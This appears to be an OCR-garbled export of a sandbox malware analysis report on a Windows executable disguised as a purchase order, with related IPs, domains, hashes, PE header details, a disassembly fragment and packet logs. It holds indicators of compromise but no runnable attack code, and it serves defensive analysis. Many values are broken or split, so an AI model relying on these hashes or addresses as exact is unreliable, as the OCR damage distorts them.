Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

_

Get hash

-

Get hash

-

Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

Detection
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Link
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Context

www.unite
dcpbocarat
on.com/

www.chick
enstrings.
com/cu/?4h
UTBR=zidyf
rKC1sXI517
bAg8u3vPhh
hI8xiuKJpD
0zSiMnQV9u
8/igN2PQsk
10/0qzIBew
b8Clfjljzr
QpykD30+eu
g==&wWOHI=3
f3DUf

Context

192.185.152.65
192.185.152.65

Context

64.98.145.30
64.98.145.30
64.98.36.4

64.98.145.30
64.98.145.30
64.98.145.30
64.98.145.30
64.98.36.128
64.98.145.30
64.98.36.128
64.98.36.128
64.98.36.128
64.98.36.128
64.98.36.128
64.98.145.30

64.98.145.30
192.185.152.65

192.185.17
0.106

192.232.229.53
162.241.67.201

162.241.67.195
162.241.87.44

192.232.229.53

192.254.23
6.192

192.232.229.53
192.185.152.65
162.241.44.26

192.232.229.53
192.232.229.53
162.241.44.26

192.232.229.53
192.232.229.53

192.185.13
8.193

192.185.17
0.106
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https://view.joesandbox.com/analysis/106543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/106543/html/none?idtype=webid
https://view.joesandbox.com/analysis/106290/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/106290/html/none?idtype=webid
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid
https://view.joesandbox.com/analysis/238796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238796/html/none?idtype=webid
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237897/html/none?idtype=webid
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid
https://view.joesandbox.com/analysis/235302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235302/html/none?idtype=webid
https://view.joesandbox.com/analysis/232513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232513/html/none?idtype=webid
https://view.joesandbox.com/analysis/230415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230415/html/none?idtype=webid
https://view.joesandbox.com/analysis/223566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/223566/html/none?idtype=webid
https://view.joesandbox.com/analysis/211757/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/211757/html/none?idtype=webid
https://view.joesandbox.com/analysis/208189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/208189/html/none?idtype=webid
https://view.joesandbox.com/analysis/207133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/207133/html/none?idtype=webid
https://view.joesandbox.com/analysis/203300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203300/html/none?idtype=webid
https://view.joesandbox.com/analysis/201874/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/201874/html/none?idtype=webid
https://view.joesandbox.com/analysis/200716/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/200716/html/none?idtype=webid
https://view.joesandbox.com/analysis/200707/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/200707/html/none?idtype=webid
https://view.joesandbox.com/analysis/189146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/189146/html/none?idtype=webid
https://view.joesandbox.com/analysis/177506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/177506/html/none?idtype=webid
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid
https://view.joesandbox.com/analysis/239337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239337/html/none?idtype=webid
https://view.joesandbox.com/analysis/239291/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239291/html/none?idtype=webid
https://view.joesandbox.com/analysis/239267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239267/html/none?idtype=webid
https://view.joesandbox.com/analysis/239225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239225/html/none?idtype=webid
https://view.joesandbox.com/analysis/239102/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239102/html/none?idtype=webid
https://view.joesandbox.com/analysis/239094/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239094/html/none?idtype=webid
https://view.joesandbox.com/analysis/239070/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239070/html/none?idtype=webid
https://view.joesandbox.com/analysis/239018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239018/html/none?idtype=webid
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid
https://view.joesandbox.com/analysis/239008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239008/html/none?idtype=webid
https://view.joesandbox.com/analysis/238996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238996/html/none?idtype=webid
https://view.joesandbox.com/analysis/238934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238934/html/none?idtype=webid
https://view.joesandbox.com/analysis/238839/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238839/html/none?idtype=webid
https://view.joesandbox.com/analysis/238838/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238838/html/none?idtype=webid
https://view.joesandbox.com/analysis/238836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238836/html/none?idtype=webid
https://view.joesandbox.com/analysis/238834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238834/html/none?idtype=webid
https://view.joesandbox.com/analysis/238776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238776/html/none?idtype=webid

Match

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Dropped Files

No context

Copyright null 2020

Associated Sample Name /| URL SHA 256
Get hash
Get hash

Associated Sample Name /| URL SHA 256
hitp:/, Get hash

Get hash

Get hash
Get hash
Get hash

E

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

E

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash

Get hash

Detection
malicious

malicious

Detection

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

Link
Browse

Browse

Link

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Context
e 198.57.244.39
e 192.185.14

4.204

Context

e 192.185.152.65

192.185.152.65

192.185.152.65
192.185.152.65
192.185.152.65

192.185.152.65

192.185.152.65
192.185.152.65

192.185.152.65
192.185.152.65
192.185.152.65
192.185.152.65
192.185.152.65

192.185.152.65

192.185.152.65
192.185.152.65

192.185.152.65
192.185.152.65
192.185.152.65

192.185.152.65
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https://view.joesandbox.com/analysis/238757/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238757/html/none?idtype=webid
https://view.joesandbox.com/analysis/238673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238673/html/none?idtype=webid
https://view.joesandbox.com/analysis/239401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239401/html/none?idtype=webid
https://view.joesandbox.com/analysis/239350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239350/html/none?idtype=webid
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239347/html/none?idtype=webid
https://view.joesandbox.com/analysis/239337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239337/html/none?idtype=webid
https://view.joesandbox.com/analysis/239311/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239311/html/none?idtype=webid
https://view.joesandbox.com/analysis/239267/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239267/html/none?idtype=webid
https://view.joesandbox.com/analysis/239225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239225/html/none?idtype=webid
https://view.joesandbox.com/analysis/239156/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239156/html/none?idtype=webid
https://view.joesandbox.com/analysis/239117/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239117/html/none?idtype=webid
https://view.joesandbox.com/analysis/239086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239086/html/none?idtype=webid
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239012/html/none?idtype=webid
https://view.joesandbox.com/analysis/238959/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238959/html/none?idtype=webid
https://view.joesandbox.com/analysis/238940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238940/html/none?idtype=webid
https://view.joesandbox.com/analysis/238936/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238936/html/none?idtype=webid
https://view.joesandbox.com/analysis/238935/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238935/html/none?idtype=webid
https://view.joesandbox.com/analysis/238933/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238933/html/none?idtype=webid
https://view.joesandbox.com/analysis/238929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238929/html/none?idtype=webid
https://view.joesandbox.com/analysis/238927/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238927/html/none?idtype=webid
https://view.joesandbox.com/analysis/238900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238900/html/none?idtype=webid
https://view.joesandbox.com/analysis/238888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238888/html/none?idtype=webid

Created |/ dropped Files

No created / dropped files found

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 4.7572459878206415
TrID: e Win32 Executable (generic) a (10002005/4)
99.15%
e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%
File name: Purchase Order Updates thyssenkrupp Materials
Australia 900-5400006911.exe
File size: 86016
MD5: 6008cd180e677be4846d5f8abfa6b983
SHA1L: 881844503dee7d1797ce7736786dfec08f06100a
SHA256: b8b07584a493c32a6f045b8bfelf7ce2a2e441035a7048e
946aa6b26a6485c0d
SHA512: 253fc6deeeb5647f9332412f3b0003b161736baad7cebed
6149169bb5b9013c28f3850bd0a53181a8c23d5alf72¢c7:
5baaf2339af037b6c0760adlel8aecfald
SSDEEP: 768:Mteyg1/gcK/WS3zWfxPSCFEI80vOdEEMTGUdP2K
ohBS:+eysgcK/WS36fxP/gEjPyhA
File Content Preview: MZ.... .
........ @.co e @
File Icon
5 .
Icon Hash: 00d6d4ec71b24430
Static PE Info
General
Entrypoint: 0x401360
Entrypoint Section: text
Digitally signed: false
Imagebase: 0x400000
Subsystem: windows gui
Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,

LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp: 0x5FB6BC22 [Thu Nov 19 18:40:34 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o & O A O »

Subsystem Version Minor:

Import Hash: Ocb4f4ece3f5875b40d2bf4babdf78ef

Entrypoint Preview

Instruction

push 00403960h
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Instruction

call 00007F0468A2AEA5h
add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

xor byte ptr [eax], al

add byte ptr [eax], al

inc eax

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [edi+edi*4], dh
mov byte ptr [LCFD67DEh], al
inc esi

mov bh, 4Bh

mov ah, D8h

cmp ebx, dword ptr [edx+0000007Ch]
add byte ptr [eax], al

add byte ptr [ecx], al

add byte ptr [eax], al

add byte ptr [eax], ah

and byte ptr [eax], ah

and byte ptr [eax], ah

and byte ptr [ebp+63h], cl
popad

outsh

outsd

jc 00007F0468A2AF1Bh
arpl word ptr [eax], ax

jne 00007F0468A2AF14h
je 00007F0468A2AF24h
popad

push 00000000h

dec esp

xor dword ptr [eax], eax
add dword ptr [edi], esp
popad

pop ss

inc ebp

push esi

ror byte ptr [edi], 1

dec ecx

mov ch, B1h

jns 00007F0468A2AEAFh
lahf

wait

mov edx, 84874BB6h

inc ebx

Data Directories

Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT O0x114e4 0x28 text
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x14000 0x15c8 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x0 0x0
IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x228 0x20
IMAGE_DIRECTORY_ENTRY_IAT 0x1000 Oxe4 text
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Name

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name  Virtual Address Virtual Size Raw Size
text 0x1000 0x108f4 0x11000

.data 0x12000 0x118c 0x1000

.rsrc 0x14000 0x15c8 0x2000
Resources

Name RVA
RT_ICON 0x153e0
RT_ICON 0x14d18
RT_ICON 0x14390
RT_GROUP_ICON 0x14360
RT_VERSION 0x14150
Imports

DLL

MSVBVM60.DLL

Version Infos

Description
Translation
InternalName
FileVersion
CompanyName
ProductName
ProductVersion

OriginalFilename
Possible Origin

Language of compilation system

Greek

Network Behavior

TCP Packets

Timestamp
Nov 20, 2020 10:58:17.964037895 CET
Nov 20, 2020 10:58:18.098231077 CET

Copyright null 2020

Virtual Address Virtual Size
0x0 0x0
0x0 0x0
0x0 0x0
Xored PE ZLIB Complexity File Type Entropy
False 0.360337201287 data 5.30760673426
False 0.00634765625 data 0.0
False 0.137573242188 data 1.7754215961
Size Type Language
Ox1e8 data
0x6¢8 data
0x988 data
0x30 data
0x210 data Greek

Import

Is in Section

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Country

Greece

_Clcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, _ vbaFreeVarList, _ vbaEnd, _adj_fdiv_m64,
__vbaFreeObijList, _adj_fprem1, _ vbaStrCat, _ vbaHresultCheckObj, _adj_fdiv_m32, _ vbaObjSet,
_adj_fdiv_m16i, _adj_fdivr_m16i, _ vbaFpR8, _Clsin, __vbaChkstk, EVENT_SINK_AddRef, _ vbaStrCmp,
__vbaCastObjVar, _adj_fpatan, EVENT_SINK_Release, _Clsqrt, EVENT_SINK_Queryinterface,
__vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, _ vbaFPException, _Cllog, _ vbaNew2, _adj_fdiv_m32i,
_adj_fdivr_m32i, __vbaStrCopy, __ vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, _ vbaVarTstNe, _ vbaVarDup,
__vbaVarLateMemCallLd, __vbaFpl4, _Clatan, __vbaStrMove, _allmul, _Cltan, _Clexp, __vbaFreeObj,

__vbaFreeStr

Data

0x0408 0x04b0

sweepers
2.00
Gallup
Gallup
2.00

sweepers.exe

Country where language is spoken

Greece

Source Port Dest Port
49748 443
443 49748

Source IP
192.168.2.4
192.185.152.65

Map

Dest IP
192.185.152.65
192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 20, 2020 10:58:18.098367929 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.115515947 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.249711037 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.254128933 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.254153013 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.254163027 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.254322052 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.254345894 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.336226940 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.471143961 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.471311092 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.487610102 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.627404928 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627434015 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627445936 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627459049 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627475023 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627494097 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627511024 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627526045 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627542019 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627557993 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.627580881 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.627635002 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.761832952 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761864901 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761878014 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761889935 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761900902 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761914968 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761931896 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761948109 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761964083 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761981964 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.761998892 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762011051 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762022972 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762038946 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762053967 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.762054920 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762070894 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762087107 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762100935 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762116909 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762124062 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.762137890 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.762164116 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.762191057 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896260023 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896287918 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896301031 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896316051 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896336079 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896353006 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896369934 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896387100 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896399021 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896403074 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896419048 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896435976 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896440983 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896451950 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896471977 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896473885 CET 49748 443 192.168.2.4 192.185.152.65
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 20, 2020 10:58:18.896488905 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896491051 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896506071 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896521091 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896528959 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896537066 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896553040 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896559000 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896569014 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896579027 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896584988 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896605968 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896606922 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896634102 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896640062 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896652937 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896668911 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896671057 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896683931 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896699905 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896707058 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896718025 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896734953 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896742105 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896749973 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896763086 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896766901 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896783113 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896789074 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896797895 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896814108 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896821022 CET 49748 443 192.168.2.4 192.185.152.65
Nov 20, 2020 10:58:18.896830082 CET 443 49748 192.185.152.65 192.168.2.4
Nov 20, 2020 10:58:18.896847963 CET 443 49748 192.185.152.65 192.168.2.4

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Nov 20, 2020 10:57:44.504728079 CET 64549 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:44.531829119 CET 53 64549 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:45.892416954 CET 63153 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:45.919528961 CET 53 63153 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:50.394385099 CET 52991 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:50.421511889 CET 53 52991 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:51.438606977 CET 53700 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:51.465647936 CET 53 53700 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:52.895874977 CET 51726 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:52.922995090 CET 53 51726 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:54.024133921 CET 56794 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:54.051191092 CET 53 56794 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:55.123883009 CET 56534 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:55.151484966 CET 53 56534 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:56.756340981 CET 56627 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:56.794018030 CET 53 56627 8.8.8.8 192.168.2.4
Nov 20, 2020 10:57:58.006989002 CET 56621 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:57:58.034130096 CET 53 56621 8.8.8.8 192.168.2.4
Nov 20, 2020 10:58:00.145034075 CET 63116 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:58:00.172065973 CET 53 63116 8.8.8.8 192.168.2.4
Nov 20, 2020 10:58:01.189306021 CET 64078 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:58:01.216273069 CET 53 64078 8.8.8.8 192.168.2.4
Nov 20, 2020 10:58:02.337378025 CET 64801 53 192.168.2.4 8.8.8.8
Nov 20, 2020 10:58:02.372955084 CET 53 64801 8.8.8.8 192.168.2.4
Nov 20, 2020 10:58:03.486059904 CET 61721 53 192.168.2.4 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 20, 2020 10:58:03.513978958 CET 53 61721 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:04.649158955 CET 51255 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:04.676244974 CET 53 51255 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:13.701463938 CET 61522 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:13.728507996 CET 53 61522 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:17.910629034 CET 52337 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:17.946242094 CET 53 52337 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:37.646971941 CET 55046 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:37.685893059 CET 53 55046 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:38.271760941 CET 49612 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:38.307430983 CET 53 49612 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:38.732089043 CET 49285 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:38.767661095 CET 53 49285 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:39.490035057 CET 50601 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:39.525820017 CET 53 50601 8.8.8.8 192.168.2.4

Nov 20, 2020 10:58:39.994446039 CET 60875 53 192.168.2.4 8.8.8.8

Nov 20, 2020 10:58:40.047394037 CET 53 60875 8.8.8.8 192.168.2.4

